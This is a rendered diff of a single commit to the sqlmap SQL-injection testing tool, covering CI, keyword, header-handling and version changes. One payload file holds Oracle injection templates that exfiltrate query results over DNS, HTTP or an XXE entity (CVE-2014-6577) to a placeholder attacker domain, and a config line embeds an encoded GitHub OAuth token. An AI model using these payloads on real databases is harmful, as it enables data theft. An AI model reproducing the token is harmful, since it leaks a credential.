mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-06 20:51:31 +00:00
Compare commits
1 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
153a40bf13 |
2
.github/workflows/tests.yml
vendored
2
.github/workflows/tests.yml
vendored
@@ -10,7 +10,7 @@ jobs:
|
|||||||
strategy:
|
strategy:
|
||||||
matrix:
|
matrix:
|
||||||
os: [ubuntu-latest, macos-latest, windows-latest]
|
os: [ubuntu-latest, macos-latest, windows-latest]
|
||||||
python-version: [ '3.11', 'pypy-2.7', 'pypy-3.7' ]
|
python-version: [ '2.x', '3.11', 'pypy-2.7', 'pypy-3.7' ]
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v2
|
- uses: actions/checkout@v2
|
||||||
- name: Set up Python
|
- name: Set up Python
|
||||||
|
|||||||
@@ -1,3 +1,2 @@
|
|||||||
SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL
|
SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL
|
||||||
# or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL
|
# or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL
|
||||||
# or (CVE-2014-6577) SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/"> %remote;]>'),'/l') FROM dual
|
|
||||||
|
|||||||
@@ -899,6 +899,7 @@ PARTIAL
|
|||||||
PARTITION
|
PARTITION
|
||||||
PARTITIONING
|
PARTITIONING
|
||||||
PARTITIONS
|
PARTITIONS
|
||||||
|
PASSWORD
|
||||||
PASSWORD_LOCK_TIME
|
PASSWORD_LOCK_TIME
|
||||||
PATH
|
PATH
|
||||||
PERCENT_RANK
|
PERCENT_RANK
|
||||||
|
|||||||
@@ -222,8 +222,7 @@ class Agent(object):
|
|||||||
def _(pattern, repl, string):
|
def _(pattern, repl, string):
|
||||||
retVal = string
|
retVal = string
|
||||||
match = None
|
match = None
|
||||||
|
for match in re.finditer(pattern, string):
|
||||||
for match in re.finditer(pattern, string or ""):
|
|
||||||
pass
|
pass
|
||||||
|
|
||||||
if match:
|
if match:
|
||||||
|
|||||||
@@ -3861,10 +3861,6 @@ def checkIntegrity():
|
|||||||
logger.error("wrong modification time of '%s'" % filepath)
|
logger.error("wrong modification time of '%s'" % filepath)
|
||||||
retVal = False
|
retVal = False
|
||||||
|
|
||||||
suffix = extractRegexResult(r"#(?P<result>\w+)", VERSION_STRING)
|
|
||||||
if suffix and suffix not in {"dev", "stable"}:
|
|
||||||
retVal = False
|
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def getDaysFromLastUpdate():
|
def getDaysFromLastUpdate():
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ from thirdparty import six
|
|||||||
from thirdparty.six import unichr as _unichr
|
from thirdparty.six import unichr as _unichr
|
||||||
|
|
||||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||||
VERSION = "1.7.8.0"
|
VERSION = "1.7.6.0"
|
||||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||||
@@ -702,7 +702,7 @@ DEFAULT_COOKIE_DELIMITER = ';'
|
|||||||
FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
|
FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
|
||||||
|
|
||||||
# Github OAuth token used for creating an automatic Issue for unhandled exceptions
|
# Github OAuth token used for creating an automatic Issue for unhandled exceptions
|
||||||
GITHUB_REPORT_OAUTH_TOKEN = "Z2hwX09GTWlsWUJVZWhiYWluS3I3T2hUbE9abHJ4cXNUTTFYeUxxTw"
|
GITHUB_REPORT_OAUTH_TOKEN = "Z2hwXzJEdUdKQXVyNms3c2J2em0weXNFYlVrZ2hxczE1eDBRQnA2Vg"
|
||||||
|
|
||||||
# Skip unforced HashDB flush requests below the threshold number of cached items
|
# Skip unforced HashDB flush requests below the threshold number of cached items
|
||||||
HASHDB_FLUSH_THRESHOLD = 32
|
HASHDB_FLUSH_THRESHOLD = 32
|
||||||
|
|||||||
@@ -1001,9 +1001,6 @@ def cmdLineParser(argv=None):
|
|||||||
argv[i] = argv[i].replace("--auth-creds", "--auth-cred", 1)
|
argv[i] = argv[i].replace("--auth-creds", "--auth-cred", 1)
|
||||||
elif argv[i].startswith("--drop-cookie"):
|
elif argv[i].startswith("--drop-cookie"):
|
||||||
argv[i] = argv[i].replace("--drop-cookie", "--drop-set-cookie", 1)
|
argv[i] = argv[i].replace("--drop-cookie", "--drop-set-cookie", 1)
|
||||||
elif re.search(r"\A--tamper[^=\s]", argv[i]):
|
|
||||||
argv[i] = ""
|
|
||||||
continue
|
|
||||||
elif re.search(r"\A(--(tamper|ignore-code|skip))(?!-)", argv[i]):
|
elif re.search(r"\A(--(tamper|ignore-code|skip))(?!-)", argv[i]):
|
||||||
key = re.search(r"\-?\-(\w+)\b", argv[i]).group(1)
|
key = re.search(r"\-?\-(\w+)\b", argv[i]).group(1)
|
||||||
index = auxIndexes.get(key, None)
|
index = auxIndexes.get(key, None)
|
||||||
|
|||||||
@@ -441,7 +441,7 @@ class Connect(object):
|
|||||||
requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str
|
requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str
|
||||||
|
|
||||||
# Prepare HTTP headers
|
# Prepare HTTP headers
|
||||||
headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHostHeader(url)}, base=None if target else {})
|
headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {})
|
||||||
|
|
||||||
if HTTP_HEADER.COOKIE in headers:
|
if HTTP_HEADER.COOKIE in headers:
|
||||||
cookie = headers[HTTP_HEADER.COOKIE]
|
cookie = headers[HTTP_HEADER.COOKIE]
|
||||||
@@ -453,6 +453,9 @@ class Connect(object):
|
|||||||
headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader
|
headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader
|
||||||
|
|
||||||
if not conf.requestFile or not target:
|
if not conf.requestFile or not target:
|
||||||
|
if not getHeader(headers, HTTP_HEADER.HOST):
|
||||||
|
headers[HTTP_HEADER.HOST] = getHostHeader(url)
|
||||||
|
|
||||||
if not getHeader(headers, HTTP_HEADER.ACCEPT):
|
if not getHeader(headers, HTTP_HEADER.ACCEPT):
|
||||||
headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE
|
headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE
|
||||||
|
|
||||||
|
|||||||
@@ -181,11 +181,8 @@ class HashDB(object):
|
|||||||
try:
|
try:
|
||||||
self.cursor.execute("BEGIN TRANSACTION")
|
self.cursor.execute("BEGIN TRANSACTION")
|
||||||
except:
|
except:
|
||||||
try:
|
# Reference: http://stackoverflow.com/a/25245731
|
||||||
# Reference: http://stackoverflow.com/a/25245731
|
self.cursor.close()
|
||||||
self.cursor.close()
|
|
||||||
except sqlite3.ProgrammingError:
|
|
||||||
pass
|
|
||||||
threadData.hashDBCursor = None
|
threadData.hashDBCursor = None
|
||||||
self.cursor.execute("BEGIN TRANSACTION")
|
self.cursor.execute("BEGIN TRANSACTION")
|
||||||
finally:
|
finally:
|
||||||
|
|||||||
@@ -87,7 +87,7 @@ class Fingerprint(GenericFingerprint):
|
|||||||
infoMsg = "testing %s" % DBMS.H2
|
infoMsg = "testing %s" % DBMS.H2
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
result = inject.checkBooleanExpression("ZERO()=0")
|
result = inject.checkBooleanExpression("ZERO() IS 0")
|
||||||
|
|
||||||
if result:
|
if result:
|
||||||
infoMsg = "confirming %s" % DBMS.H2
|
infoMsg = "confirming %s" % DBMS.H2
|
||||||
|
|||||||
@@ -45,9 +45,9 @@ class Fingerprint(GenericFingerprint):
|
|||||||
# Reference: https://dev.mysql.com/doc/relnotes/mysql/<major>.<minor>/en/
|
# Reference: https://dev.mysql.com/doc/relnotes/mysql/<major>.<minor>/en/
|
||||||
|
|
||||||
versions = (
|
versions = (
|
||||||
(80000, 80033), # MySQL 8.0
|
(80000, 80029), # MySQL 8.0
|
||||||
(60000, 60014), # MySQL 6.0
|
(60000, 60014), # MySQL 6.0
|
||||||
(50700, 50742), # MySQL 5.7
|
(50700, 50741), # MySQL 5.7
|
||||||
(50600, 50652), # MySQL 5.6
|
(50600, 50652), # MySQL 5.6
|
||||||
(50500, 50563), # MySQL 5.5
|
(50500, 50563), # MySQL 5.5
|
||||||
(50400, 50404), # MySQL 5.4
|
(50400, 50404), # MySQL 5.4
|
||||||
|
|||||||
Reference in New Issue
Block a user